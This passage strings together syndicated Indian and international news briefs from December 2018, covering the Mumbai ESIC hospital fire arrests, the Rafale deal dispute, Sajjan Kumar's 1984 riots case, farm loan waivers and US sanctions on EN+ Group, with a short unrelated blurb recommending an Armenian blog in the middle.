engineer and the supervisor. Reddy said, "Supreme Construction Company's site engineer and supervisor have been arrested in connection with the fire incident at ESIC Kamgar Hospital. Further investigation is underway." As per the preliminary report, the building material lying at the ground floor of the hospital for renovation work caught fire on Monday afternoon, which led to the generation of smoke. "People died due to suffocation," police claimed. After the tragic incident, Maharashtra Chief Minister Devendra Fadnavis ordered an investigation into the matter. He also promised all possible assistance to the injured. Yesterday, another fire broke out at the same hospital at around 7:54 pm. No casualties were reported the second time. Fire tenders were rushed to the spot and the situation was brought under control. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) AIADMK MPs on Thursday staged a protest in front of the Gandhi statue in Parliament premises against the construction of a dam on Cauvery river. Earlier in the day, Telugu Desam Party (TDP) MPs protested in front of the Gandhi statue over their demand for a special category status for Andhra Pradesh. YSR Congress Party MPs also staged a protest inside Parliament premises demanding special status for Andhra Pradesh. The opposition parties have been protesting over various issues including Cauvery river water, special category status for Andhra Pradesh, Rafale deal among others ever since the Winter Session of the Parliament has started. The Winter Session of Parliament, which began on December 11, will end on January 8. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Air Chief Marshal BS Dhanoa welcomed the Supreme Court verdict on Rafale jet deal and said the Indian Air Force needs the fighter aircraft badly. Addressing the media during his visit to Air Force Station at Jodhpur, he said, "The Supreme Court has given a very fine judgement and I am not going to comment on it. It has also said that this plane is badly needed. Rafale is always a need for the Air Force. It (fighter jets) took a long time to come. Others have upgraded their squadron. Also, very fine comments are given by the Finance Minister (Arun Jaitley) and our Defence Minister (Nirmala Sitharaman). The Rafale jet deal controversy has been on the boil over the last few months. The Congress has alleged irregularities in the deal for 36 aircraft and claimed that the Narendra Modi government is buying them at a price much higher than the one that was being negotiated by the previous government. Last week, the Supreme Court dismissed petitions seeking a probe into the Rafale deal. But later the controversy on the Supreme Court's verdict started after the Centre filed an application before the Supreme Court seeking correction in its judgement on the deal. Sharing his views on the launch of satellite GSLV-7A, the Air Chief said the launch of the satellite would boost the networking and communication capabilities of the Air Force. "We will get many benefits due to this launch. We have several platforms (aircraft) which have capabilities of communication through satellite. The communication to the platform (aircraft) through the satellite will be made possible with this launch," he told the media in Jodhpur. Yesterday evening, the Indian Space Research Organisation (ISRO) launched GSLV-7A from Sriharikota in Andhra Pradesh. Air Chief Dhanoa on Wednesday visited Air Force Station at Jodhpur to interact with the participating forces of ongoing Exercise AviaIndra-18 between Indian Air Force (IAF) and Russian Federation Aerospace Force (RFASF). The second edition of Exercise AviaIndra-18 is aimed at exposing RFASF and IAF pilots to single/multi-aircraft missions in a Counter-Terrorism Scenario within the predefined scope. The 30-member RFASF contingent comprises of fighter, transport and helicopter pilots. The Chief of the Air Staff was briefed in detail about various phases of the exercise and was apprised of its progress. Post-briefing, he visited the RFASF and IAF detachment, wherein he interacted with the personnel of both the Air Forces. During the interaction, Chief of the Air Staff welcomed RFASF team and emphasised the importance of joint exercises, as they create an environment of camaraderie and provide an opportunity to learn from each other's best practices. He spoke about the long-standing military partnership between RFASF and IAF and the common equipment that both the nations operate. Exercise AviaIndra-18 is a testimony of the Indo-Russian Military relationship and would enhance mutual cooperation and understanding between IAF and RFASF. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sajjan Kumar, who today appeared at Patiala court in another case of anti-Sikh riot, has moved an application before Delhi High Court seeking 30 days time to surrender. One of the witnesses in 1984 anti-Sikh riots case, pertaining to the killings in Delhi Cantt, has also filed a caveat in the Supreme Court. In the caveat, the witness has demanded that if Sajjan Kumar challenges the life imprisonment awarded by Delhi High Court, then the Supreme Court should also hear the victims before taking a final decision. Commenting on Kumar's application, HS Phoolka, advocate in 1984 anti-Sikh riots told ANI, "Sajjan Kumar has filed an application in Delhi High Court to give him a month to surrender. We will oppose that application tomorrow." Kumar's plea is likely to be heard tomorrow. On Monday, the Delhi High Court had sentenced Congress leader Sajjan Kumar to life imprisonment, reversing the acquittal granted to him by a trial court in 2013. The 73-year-old former MP has been asked to surrender before December 31. As per the official records, over 2,700 Sikhs were killed across India after the assassination of Indira Gandhi in 1984 by her Sikh bodyguards, Satwant Singh and Beant Singh. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With more than 15 Bollywood films, including four with Shah Rukh Khan, Anushka Sharma is celebrating her 10 years in the industry. The actor took this opportunity to thank King Khan for his enthusiasm and support. Taking to her Twitter handle, Anushka penned a heartfelt note for SRK and thanked him for being there when she needed him. She wrote, "Zero is a beautiful coincidence for me. I realised this very recently and I had to put it out. I started my career with you Shah Rukh and its really beautiful that on my 10th anniversary as an actor, we are releasing our fourth film together." Calling him as the most giving actor that she has worked with, the 'Pari' star also mentioned that how Shah Rukh helped her grow and perform some challenging roles. Talking about her upcoming film, 'Zero', the 30-year-old actor wrote, "Zero is a labour of love for Aanand L. Rai, Himanshu Sharma and Shah Rukh and it is incredible that they have dared to dream, dared to think that they can create something so spectacularly new." Shah Rukh, in his reply to the post, wrote, "My Taani, Akira, Sejal, Aafia & Friend. I am privileged to have worked with u. U make me a better actor. Love u." Anushka kick-started her career in 2008 alongside SRK in 'Rab ne Bana di Jodi' and gave blockbuster hits like 'Ae Dil Hai Mushkil',' 'Pari,' 'P.K.,' 'Sultan,' 'NH 10' among others. Her upcoming film, 'Zero' shows the journey of Bauua Singh, a vertically challenged man played by Shah Rukh, who is on a lookout for a bride. The film also stars Katrina Kaif who plays the role of an actress, battling alcoholism while Anushka portrays a challenging character of a scientist with cerebral palsy in the Aanand L Rai directorial. The movie, produced by Gauri Khan, is all set to hit the screens on December 21, this year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Assam Finance Minister Himanta Biswa Sarma on Wednesday lashed out at Congress president Rahul Gandhi for his comment on Assam government waiving farm loan worth Rs 600 crore. Gandhi had tweeted yesterday, "The Congress party has managed to wake the CMs of Assam and Gujarat from their deep slumber. The Prime Minister is still asleep. We will wake him up too." Responding to Congress president's tweet, Sarma told media, "Our scheme is completely different, there's nothing to wake up or sleep. Our schemes were announced one year back, it's to mark the 125th anniversary of the Battle of Patharughat and it's not debt waiver rather a subsidy scheme." Assam Chief Minister Sarbananda Sonowal yesterday said the state cabinet will provide 25 per cent of loan amount upto Rs 25,000. Earlier this week, similar decisions were taken by the Congress government in Madhya Pradesh and Chhattisgarh where the Chief Ministers of respective states, Kamal Nath and Bhupesh Baghel announced farm loan waivers soon after taking charge. The Congress party has been cornering the Prime Minister Narendra Modi-led government over agrarian crisis while accusing it of overlooking the farmers' distress. On Tuesday, Congress president Rahul Gandhi has said that he will not let Prime Minister Narendra Modi sleep until all farms loans are waived. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) At least four civilians have been killed, while three others injured in a blast in Herat province of Afghanistan on Thursday, local media reported, citing Afghan officials. According to the TOLOnews broadcaster, the explosion took place in Chesht district of Afghanistan's province of Herat in the morning. Details of the incident are not yet specified. Afghanistan has long been suffering from unstable political, social and security issues due to the activity of the Islamic State terrorist group (outlawed in Russia) and the Taliban. The Afghan National Defense and Security Forces are currently conducting joint offensive operations to combat terrorism across the country. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In a shocking incident, a Bihar Military Police (BMP) jawan was killed by his colleague with a self-loading rifle (SLR) here in the wee hours of Thursday. Manish Kumar, a resident of Amarpur in Banka district, was killed by Prem Chand Prasad at around 2 am today inside the barrack of BMP-6 under Mithapura police station area in the district. "The accused has had a history of indiscipline and aggressive behaviour and has been arrested," said Muzaffarpur SSP Manoj Kumar. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Mamata Banerjee-led West Bengal government on Wednesday approached the Chief Justice's division bench challenging the Calcutta High Court's single bench order permitting Bharatiya Janata Party's (BJP) 'save democracy' Rath-Yatra in the state. The matter will be placed before the Chief Justice's bench on Friday (tomorrow). Earlier on Thursday, the Calcutta High Court allowed the BJP to proceed with its Rath Yatra in West Bengal which is perceived as a major setback to the Mamata Banerjee government. The Court gave permission to BJP to hold three yatras in West Bengal and directed that the administration should ensure that there is no breach of law and order. Earlier, the state government had refused permission for the proposed 'yatra' citing intelligence reports of possible communal violence in areas where the BJP has planned the rallies. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Actor and producer Vishal was detained in Chennai on Thursday for allegedly trying to break into Tamil Nadu Film Producers Council's (TFPC) office. The incident occurred after a group of 300 film producers had locked the office demanding his resignation. Vishal is the president of TFPC. The group which has locked the office has accused Vishal of being involved in criminal activities. Following the detention, a message criticising the police action was posted on the Vishal's official Twitter account. "Police who were mute yesterday when unauthorised people locked the doors and gates of TFPC have arrested me and my colleague today for no fault of ours, absolutely unbelievable. We will fight back, will do everything to conduct Ilayaraja sir event and raise funds to help Producers in distress," the tweet read. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Panaji bench of the Bombay High Court on Thursday dismissed a petition seeking medical examination of ailing Goa Chief Minister Manohar Parrikar while upholding his right to privacy. The plea was filed by a social activist Trajano D'Mello who had sought a report on Parrikar's health and medical evaluation of the Chief Minister by a team of expert doctors. The petitioner also requested to bring Parrikar's report in public stating that the citizens of the state are entitled to know the state of health of the Chief Minister who is the constitutional functionary. While hearing the petition, a division bench headed by Justices Prithviraj K Chavan and R M Borde observed, "Ill-health does not make one incapable to occupy the constitutional position. The bench also termed the petition as a half-hearted attempt to make serious inroads in the territory of privacy of an individual." Earlier this year, Parrikar had visited the United States for treatment of a pancreatic ailment. He was later admitted to AIIMS in Delhi in October. The Chief Minister was recently spotted inspecting two under-construction bridges on the Mandovi and Zuari rivers. However, this did not go down well with the Opposition that chided the BJP for "forcing him to continue working". "He has a tube inserted through his nose into his digestive tract. How inhuman to force him to continue working & doing photo ops. Why can't he be allowed to deal with his illness without all this pressure & tamasha?," Conference leader Omar Abdullah had tweeted. Recently, Congress demanded Parrikar's resignation on account of his prolonged illness. Some Congress legislators in Goa had also met Governor Mridula Sinha on September 19 and staked claim to form a government stating that they are the single-largest party in the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Canadian Prime Minister Justin Trudeau has said that detention of a third Canadian citizen by the Chinese authorities is not linked with the previous detainments, where the detainees were "accused of serious crimes". "We've only got the preliminary indications ... that it's not linked to a matter of national security for the Chinese. The two situations are very different. The allegations of national security problems, even objectively, are very different from a routine case or a problem with a visa or something of that nature," CBC quoted Trudeau as saying at a year-end conference on Wednesday (local time). He further mentioned that Canada is looking into the arrests. The Prime Minister's Office confirmed that the third detainee was working as a teacher in China and is a female. Global Affairs Canada, on the other hand, refused to divulge any details regarding the third case to protect her privacy. The Chinese arrests of the other two Canadians came in the wake of Canada detaining Huawei Chief Financial Officer Meng Wanzhou, who is currently out on bail after five people pledged to secure a bail amount of USD 2.2 million on December 11. Furthermore, Meng's husband, Liu Xiaozong has pledged a further USD 7 million in cash, according to the South China Morning Post. She is awaiting extradition proceedings in Canada as she is wanted for fraud by the USA. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India and Russia have reiterated their support for Afghan-led and Afghan-owned inclusive peace and reconciliation process in the war-torn country. Regular bilateral consultations between India and Russia on Afghanistan were held here on Thursday. In this context, Russian President Vladimir Putin's special envoy Zamir Kabulov held delegation-level talks with Joint Secretary (Pakistan, Afghanistan, Iran) Deepak Mittal, said Ministry of External Affairs spokesperson Raveesh Kumar. During the meeting, both sides reiterated their support for "Afghan-led and Afghan-owned" inclusive peace and reconciliation process. The Russian side briefed on their efforts to support the peace process through Moscow format of talks. "It was agreed to maintain regular bilateral consultations and coordination including in the context of international fora with the shared objective to promote peace, security, stability, unity and prosperity in Afghanistan," he added. The two sides also agreed to hold the next round of consultations on the matter in Moscow in 2019. The Russian envoy later called on Foreign Secretary Vijay Gokhale. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The first trans-national fuel pipeline in between Nepal and India is near completion with only 12.2 kilometres remaining to be laid down. About 65 per cent of the Motihari-Amlekhganj Pipeline project that covers the length of 36.2 kilometres has been completed, informed the pipeline project office in Simara in Nepal. The trans-border pipeline stretches 24 kilometres on Nepal side and has been taken forward as "Mega Project" which the Governments of Nepal and India are prioritising. "Work on the project is expediting. Petroleum products will be supplied to Nepal through the routes of Patna in India within three months if work continues at this rate without any interruption," the Pipeline Project office's engineer Sharad Prasad Paudyal was quoted by Nepal news agency RSS. The Pipe installation project along the Rajat Jayanti Chowk of Birgunj, Gandak Chowk Baipas area and 468 meters in Gandak area has been completed while the installation running along the Parsa National Park covering an area of nine kilometers is yet to be laid. Likewise, laying pipeline along 33.7 kilometers from Motihari to Raxaul in North India has been completed. Pipe installation in the remaining areas will be completed soon if the work continues uninterrupted. The Indian government is said to have invested Rs 3.5 billion to install the pipeline for the project from Motihari of India to Amlekhganj of Bara. Prime Minister Narendra Modi and his Nepalese counterpart KP Sharma Oli jointly laid the foundation stone for the project at Hyderabad House of New Delhi during PM Oli's visit to India eight months ago. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Kardashian-Jenner family is all set to bid farewell to their official apps and are looking forward to a fresh start in the New Year. The famous siblings Kim Kardashian, Khloe Kardashian, Kourtney Kardashian and Kylie Jenner have announced that they will discontinue each of their apps in 2019, reported E Online. "We've had an incredible experience connecting with all of you through our apps these past few years but have made the difficult decision to no longer continue updating in 2019. We truly hope you've enjoyed this journey as much as we have, and we look forward to what's ahead," they wrote in a statement. This means that the American television stars will be no longer sharing photos, videos, or recipes on their apps in 2019. Taking to her app, Kim wrote, "We've had an incredible experience connecting with all of you through our apps these past few years but have made the difficult decision to no longer continue updating in 2019." According to a report by People, the family launched their apps back in 2015, with a focus on connecting with their fans on a more intimate level. Through these apps, the fans could keep up with the Kardashians, after paying a monthly subscription fee. For instance, in June this year, Khloe gave her subscribers an exclusive look at her daughter True's pink nursery. Similarly, all the Kardashian-Jenner sisters regularly updated their followers with almost everything that happened in their lives. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi court on Thursday granted interim bail to former Bihar chief minister and Rashtriya Janata Dal (RJD) president Lalu Prasad in the 2013 Indian Railway Catering and Tourism Corporation (IRCTC) scam case. Patiala House Court's Special Judge Arun Bhardwaj granted interim bail to Lalu Prasad on a personal bond of Rs 1 lakh with a surety of the same amount, in both CBI and ED cases pertaining to alleged irregularities in granting of operational contracts of two IRCTC hotels to a private firm during his tenure as the Railway Minister from 2004 to 2009. Lalu appeared before the court through video conferencing due to ill health. Lalu Prasad, who is currently serving jail term in fodder scam case, has been admitted to the Rajendra Institute of Medical Sciences, Ranchi, under police custody for treatment of diabetes and other ailments. On November 19, the Patiala House Court had adjourned the IRCTC scam case and ordered the RJD chief to appear before it via video conferencing today. Meanwhile, the court adjourned for January 19 the hearing in the case filed by CBI in IRCTC scam, for further scrutiny of documents. The court also extended the interim bail of Lalu's wife Rabri Devi, son Tejashwi Yadav and others till January 19 in the ED case under the Prevention of Money Laundering Act. All applications seeking regular bail by the accused in the cases would be taken up for arguments on January 19. The ED had earlier filed its reply in the court and opposed a regular bail plea filed by Rabri, Tejashwi and others. The ED case is in connection with alleged money laundering linked to the IRCTC scam. The court had granted regular bail to Rabri, Tejashwi and others who were present at the CBI case hearing on October 6. The CBI had opposed the regular bail pleading that it would 'hamper the case investigation'. On August 31, the court had granted interim bail to Rabri, Tejashwi and others in the case related to the CBI case. Lalu is facing charges of misusing his position in the allotment of a contract to a private company for the maintenance of two IRCTC hotels located at Puri and Ranchi. The prosecution report had also stated that the two hotels of the Indian Railways were first transferred to IRCTC and was sub-leased to the Sujata Hotel Pvt. Ltd owned by Vijay and Vinay Kochhar for maintenance. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Maharashtra cabinet has approved Rs 150 crore as relief to onion farmers who had to sell their produce at low prices. According to Maharashtra's Marketing Department Principal Secretary, the cabinet approved an ex-gratia payment at Rs 200 per quintal rate for onion sold between November 1 to December 15. The compensation will cover a total of 75 lakh metric tons of onions. Lately, onion farmers in Maharashtra have been resorting to different means of protest to express their displeasure over low price of their produce. On December 13, two distressed farmers in Satana town of Nashik district dumped their onions on road to protest against a steep fall in the wholesale price of one of their key crops. The two farmers, Ravindra Birari and Prashant Mahajan, took the unusual step after they were offered a meagre amount of Rs 1.5 per kilogram for their onions, while the production cost of the crop was Rs 9 per kilogram. "I have thrown my 17 quintal onion on road to mark my protest after the Agricultural Produce Market Committee offered me Rs 1.50 per kg rate for the onion," said Birari. A distressed farmer from Maharashtra had sent Rs 1,064, he earned this season after selling 750 kg onions, to the Prime Minister's Relief Fund. This comes despite the fact that the Union cabinet chaired by Prime Minister Narendra Modi on December 7 approved the Agriculture Export Policy 2018 with an aim to double farmers' income by 2022. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Jinnah House here would be converted into a venue along the lines of Hyderabad House in New Delhi, said External Affairs Minister Sushma Swaraj on Wednesday. The venue will be renovated into an international cultural centre to hold meetings with international delegations. In a letter to city Bharatiya Janata Party (BJP) legislator Mangal Prabhat Lodha, she said that the ministry is in process of "transferring the ownership of the property in our name". The EAM also underscored that the Prime Minister's Office has approved the property's transfer from the Indian Council for Cultural Relations (ICCR) to the Ministry of External Affairs (MEA). The letter was a response to Member of Legislative Assembly (MLA) Lodha's previously sent letter to Swaraj where he had pushed for the MEA to take the property in their possession due to its deteriorating condition. "Prime Minister's Office (PMO) instructed us to renovate and refurbish Jinnah House to develop it on the pattern of facilities available in Hyderabad House in Delhi. Accordingly, approval of PMO was sought for transfer of the property from ICCR to our Ministry. PMO has now accorded necessary approval," Swaraj wrote in the letter. Jinnah House has been the subject of a legal battle between the government of India and Jinnah's daughter Dina Wadia, who in 2007 moved the Bombay high court to regain control of the property. Wadia died in November last year. Legislator Lodha welcomed the decision and told ANI, "The government has decided to convert the Jinnah House (Mumbai) into an international cultural centre. It was a long-pending demand for which other people and I have been trying for the last 10 years. I'm thankful to Modi ji and Sushma Swaraj ji for this decision." After independence, the Jinnah House was used by the British High Commissioner until 1982. Under the ICCR, the house converted to a Sub Regional Centre for the South Asian Association for Regional Cooperation (SAARC). (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Soon after taking charge as Home Minister of Telangana, Mohammad Ali on Thursday offered employment opportunities to the Naxals, while urging them to shun Naxalism. Ali, a Telangana Rashtra Samithi (TRS) leader told ANI: "We will ensure that there is proper law and order in the state by working with the police. But, we will ensure that no one would be harassed." "I also urge all the Naxalites to leave Naxalism and come to the mainstream. We will provide them with everything including employment and the police will help them in all ways if they leave Naxalism," said Ali, who served as the Revenue Minister in the previous cabinet. The K Chandrashekhar Rao-led TRS emerged victorious in Telangana Assembly elections held on December 7, bagging 88 seats in the 119-member Assembly. Second in the race was Congress which achieved 19 seats, followed by the All India Majlis-e-Ittehadul Muslimeen (AIMIM), which won seven seats. The Bharatiya Janata Party (BJP) managed to win only one seat. Following the victory, Rao took oath as the chief minister of the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Claiming that 'things' will get clear by the evening, Rashtriya Janata Dal (RJD) leader Tejashwi Yadav on Thursday asserted that his party has been inviting Rashtriya Lok Samata Party (RLSP) Chief Upendra Kushwaha since very beginning to 'join grand-alliance for the good of country'. "We have been inviting Upendra Kushwaha since the very beginning. Considering if he really wants good for the country, we had invited him. Regional parties are being suppressed. In the NDA camp, LJP is also angry at this time. Everyone including Ram Vilas Paswan and Upendra Kushwaha knows that whatever side Nitish Kumar will be same would certainly lose in Bihar. The way, in which he had insulted the public mandate, the people will make him realise it at right time," he said. However, on being asked about Bihar grand alliance and whether Kushwaha will become a part of it, Tejashwi said that his party's interest is in strengthening the opposition unity. "Things will become clear by evening. We all are in an alliance and hence keep on meeting regularly. Our constitution is in danger, the constitutional institutions- be it CBI, ED or the environment of RBI, there is an undeclared emergency in the country. At this time it is very necessary that we should protect our constitution and these constitutional institutions," Yadav told ANI. Commenting on the LJP MP Chirag Paswan's veiled threat of pulling out of the BJP-led NDA, Yadav said, "Chirag Paswan may say it or not but I am sure that Ram Vilas Paswan and the complete party is standing on one side to not to be with NDA. This is what I fell. They may have realised it late that NDA is weakening but the public is not going to forgive NDA." Meanwhile, amid all the speculations of a rift within the NDA and suspense over Bihar's grand alliance, Bihar Chief Minister Nitish Kumar is also scheduled to visit New Delhi on Friday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Union Home Minister Rajnath Singh on Thursday said that Pakistan and Sikh radicals were trying to revive terrorism in Punjab. "They are being actively supported by radicals based in Europe and America," he said. "Recent terror incidents in Punjab indicate that concerted efforts on part of Pakistan establishment and Sikh extremist elements based there to revive terrorism in the state with the active support of radical entities based in Europe and America," said Singh, while addressing the conference of DGPs and IGPs at Kavadiya, Narmada, Gujarat. He said that there are training camps and terrorist launching pads across the border in Pakistan and Pakistan occupied Kashmir (PoK) region. "Terror infrastructure in Pakistan and PoK remains in the form of training camps, launching pads and communication control stations," he said. "Financing from across the border for militants and separatists is also a cause of concern," he further said. Talking about Jammu and Kashmir, Singh said that the incidences of stone pelting have declined in the state. "The separatists also exploit every possible situation to agitate the people to fan further anti-India sentiments, which lead to law and order situation. However, the stone pelting incidents have declined," added Singh. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Punjab government's decision to celebrate the Basant festival has been challenged in the Lahore High Court. The plea, by Advocate Safdar Shahin Pirzada, argues the celebrations will cost innocent lives and that the government lifted the ban on festivities in order to deflect public attention from more pressing issues, Express Tribune reported. The Punjab government on Tuesday (December 18) announced its decision to lift the ban on Basant celebrations in the state. Basant, usually celebrated in January end or the beginning of February, marks the start of the spring festival. Before the imposition of the ban in 2005, thousands of people would pour out on the streets of Lahore and elsewhere in Punjab to celebrate the occasion, the highpoint of which would be dancing and kite flying. Religious leaders argued kite-flying was un-Islamic. The petitioner also stated that celebrations were banned by the Supreme Court after revellers died of celebratory gunshots, falling off rooftops or by kite strings slitting their throats. "This festival might cause loss of more innocent lives if it is celebrated," Pirzada said. "Permitting such a festivity that causes loss of lives is a sheer violation of the Constitution," Pirzada added. A member of the Punjab Assembly, from Pakistan Muslim League-Nawaz, Hina Pervez Butt, also urged the Chief Justice of Pakistan to take suo muto notice in the case. Butt submitted a resolution in the Punjab Assembly Secretariat contending a contempt of court. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Union Minister of Petroleum and Natural Gas Dharmendra Pradhan on Wednesday said Petrotech 2019 -- India's flagship biennial event on oil and natural gas, to exchange views, expertise and experiences in the field -- shall be an effective platform to strengthen global oil and gas engagement. Pradhan was speaking during the Diplomatic Curtain Raiser of Petrotech 2019, the 13th edition of the international oil and gas conference and exhibition, which is being organised by Oil and Natural Gas Corporation (ONGC) in association with FIPI under the aegis of Ministry of Petroleum and Natural Gas, Government of India. "My ministry remains committed to facilitate participation of your representatives. Together we will make Petrotech successful and this will help open new doors," he said while urging the diplomats to encourage their ministers and top CEOs in their countries to participate in Petrotech 2019, which is being organised in the National Capital Region from February 10-12. Sunjay Sudhir, Joint Secretary, International Cooperation, MoPNG presented the detailed program of the three day event, emphasising on the theme 'Shaping the New Energy World through Innovation and Collaboration'. He brought out the significance of Petrotech as a global platform for all stakeholders in the entire hydrocarbon value chain. Earlier, while delivering the welcome address, Shashi Shanker, CMD, ONGC, said "Petrotech is one of the largest events of its kind in South East Asia, attracting policy makers, speakers, business partners, and service companies, delegates and exhibitors from India and overseas for deliberations on the current challenges faced by the industry and also showcasing the advancement in the energy sector. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Punjab Chief Minister Captain Amarinder Singh has lashed out at Shiromani Akali Dal (SAD) president Sukhbir Singh Badal for trying to drag the Gandhi family into the 1984 riots case and said that neither Congress nor Gandhis had any role in the riots. Slamming the SAD president's "frustrated" attempts to undermine Rahul's leadership, the Chief Minister said it was evident that Sukhbir was desperately trying to grab at straws to fight back into the electoral game ahead of the parliamentary polls. Lambasting the Akalis for "exploiting religious sensitivities to garner electoral support", Captain Amarinder asked Sukhbir to stop politicising such a sensitive issue. "Misusing religion for political gains will not yield any dividends for the SAD and would backfire on the party in the Lok Sabha elections, as it had done in the 2017 Assembly polls," the Chief Minister said. The Chief Minister reiterated his stance that while individuals who had any role to play in spreading mayhem against the Sikh community deserved to be punished and should pay for their crimes, it was irrational to try and drag the Congress party as a whole, or the Gandhis, into the case. "Criminals have no religion and are not affiliated to any political party," said Captain Amarinder, adding that all those responsible for perpetrating the violence in the wake of then Prime Minister Indira Gandhi's assassination will pay for their crimes. "The courts have already set a precedent in the case by sentencing Sajjan Kumar to life term," said the Chief Minister, expressing the confidence that others guilty of the heinous crime will also pay in the same coin. "If Sukhbir was really concerned about punishing the guilty, why had he never raised the issue of the 22 RSS/BJP workers named in the FIR registered in the case at Tughlaq Road police station," questioned the Chief Minister, adding that the entire hullaballoo being raised by the Akalis was nothing but politically motivated agenda to divert attention from their own wrongdoings and misdeeds. The Chief Minister pointed out that he had been consistently maintaining that Sajjan Kumar was named by the victims whom he had visited in the refugee camps following the riots. "The names of other Congress leaders whom Sukhbir was trying persistently to drag into the case were never mentioned," said Captain Amarinder. Captain Amarinder's statement came a day after SAD president asked Congress chief to tell the people whether he will expel Jagdish Tytler from the Congress and remove Kamal Nath from the post of chief minister of Madhya Pradesh or wait for them to be sentenced by courts before taking action against them. Addressing a press conference here following a meeting of the party's core committee on Wednesday, Sukhbir said, "Rahul should explain his silence and also clarify why he tried to mislead the people a few months back by claiming that no Congress leader was involved in the 1984 Sikh massacres. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) This well-established Blog is worth visiting on a regular basis for a wealth of information of interest to Armenian nationals and to the Armenian Diaspora world-wide. Although it has a particular role in promoting international recognition of the Genocide, the Blog encompasses much more and includes many articles of general appeal to all those concerned with Armenian affairs. Much of the content is difficult or impossible to find elsewhere and the long list of links provided gives easy access to a plethora of material on social, political, religious, educational and cultural matters, and many news items from around the world. Congress Leader Veerappa Moily on Thursday accused the Indian Air Force Chief BS Dhanoa of "lying and suppressing the truth" over Rafale matter. Addressing the media, Moily said, "In government records, Defence Ministry and IAF Chief wanted HAL to be involved. IAF Chief at that time visited HAL with Dassault and found it competent and that they have the expertise. I think IAF chief is not fine, he is lying and he is suppressing the truth." Air Chief Marshal Dhanoa on Wednesday had welcomed the Supreme Court verdict on Rafale jet deal and said that the Indian Air Force needs the fighter aircraft badly. On December 14, the apex court dismissed all the petitions seeking probe into the Rafale deal stating that it was "satisfied" with the Central government's decision-making process. Terming Rafael deal as the biggest scandal in the history of the country, Moily said, "There are too many suspicions, questions on this deal but no answers have been given till now. Rafael deal was an open loot done by keeping the security under risk. (Congress chief) Rahul Gandhi has taken it as a mission to fight against it and bring out the truth of the scandal." Moily also raised questions over the price of the fighter jets and said, "Why BJP has purchased the Rafael fighter jets worth Rs. 526 crore at a price of Rs. 1600 crore? Why the contract was taken away from the HAL and given to Anil Ambani's Reliance? The original deal with HAL was for 126 Rafael jets in which 18 were to be brought in condition to fly and 108 were meant to be manufactured under HAL." Citing the Supreme Court verdict and subsequent submission of the central government application seeking a correction in the apex court's order, Moily said, "The government has given false reports to the Supreme Court. The judgement is based on a nonexistent CAG report. Till now CAG reports are not submitted to Public Accounts Committee. Congress party is just demanding Joint parliamentary committee in this deal." Speaking to ANI, Moily asserted that the apex court has not given any clean chit to the government on different aspects of the deal. "The Supreme court has not given clean chit on the pricing, technology, and work share contract of the Rafale deal. Prime Minister Modi has humiliated the country, he sacrificed the interest. IAF Chief himself said that HAL is competent and today he says that the top court judgement was fine on the Rafael deal which means his opinion has no credibility," he added. Addressing the media during his visit to Air Force Station at Jodhpur, Air Chief Marshal Dhanoa had said, "The Supreme Court has given a very fine judgement and I am not going to comment on it. It has also said that this plane is badly needed. Rafale is always a need for the Air Force. It (fighter jets) took a long time to come. Others have upgraded their squadron. Also, very fine comments are given by the Finance Minister (Arun Jaitley) and our Defence Minister (Nirmala Sitharaman). (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian energy-related company EN+ Group said in a statement on Thursday that it believed the US Congress could seek additional conditions for lifting sanctions against the company. On Wednesday, the US Treasury Department's Office of Foreign Assets Control (OFAC) announced that it would lift sanctions on EN+ Group, Rusal, and JSC EuroSib Energo within 30 days if the companies met a number of conditions. "The [OFAC] Notification is subject to a 30 calendar day review period (the "Review Period"), during which certain Congressional committees will consider the Notification and Congress may, but is not required to, pass a joint resolution of approval or disapproval ... There can be no assurance that: ... Congress will not seek to require amendments to the Conditions prior to their implementation," the statement read. The US Congress may also reject the conditions or seek to prevent their implementation, the statement read on. EN+ Group also voiced its concern that its global depository receipts (GDR) listing on the London Stock Exchange could be suspended or even canceled. "The Company anticipates that if the General Licences were to expire while the Company remains on the SDN [Specially Designated Nationals] List, this would be highly likely to be materially adverse to the business and prospects of the Group and the operation of its GDR programme. In particular, the Company anticipates that such an occurrence would be highly likely to result in a suspension (and possible cancellation) of the Company's GDR listing and trading on the London Stock Exchange," the statement read. OFAC conditions for lifting sanctions against EN+ Group, Rusal, and JSC EuroSib Energo include reducing Russian businessman Oleg Deripaska's shareholdings in the entities to below 50 percent, and undertaking extensive audits and reporting requirements. EN+ Group and Rusal have also agreed to overhaul the composition of their boards of directors. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) on Thursday appeared before Patiala House Court for hearing in the 2nd case registered by CBI on the recommendation of Nanavati Commission. Kumar is facing trial on charges of murder and rioting in 1984 case pertaining to killing in Delhi's Sultanpuri. The second case against Kumar was filed by the (CBI) on the recommendation of the Nanavati Commission. The court today adjourned the matter for hearing on January 22. Hearing was adjourned as Sajjan Kumar's main counsel Anil Sharma didn't appear before Patiala House Court today for cross examination of witnesses in the case Earlier this month, on December 17, the High Court, while hearing the first case, convicted and sentenced Kumar to life imprisonment. During Monday's ruling, the bench of Justices 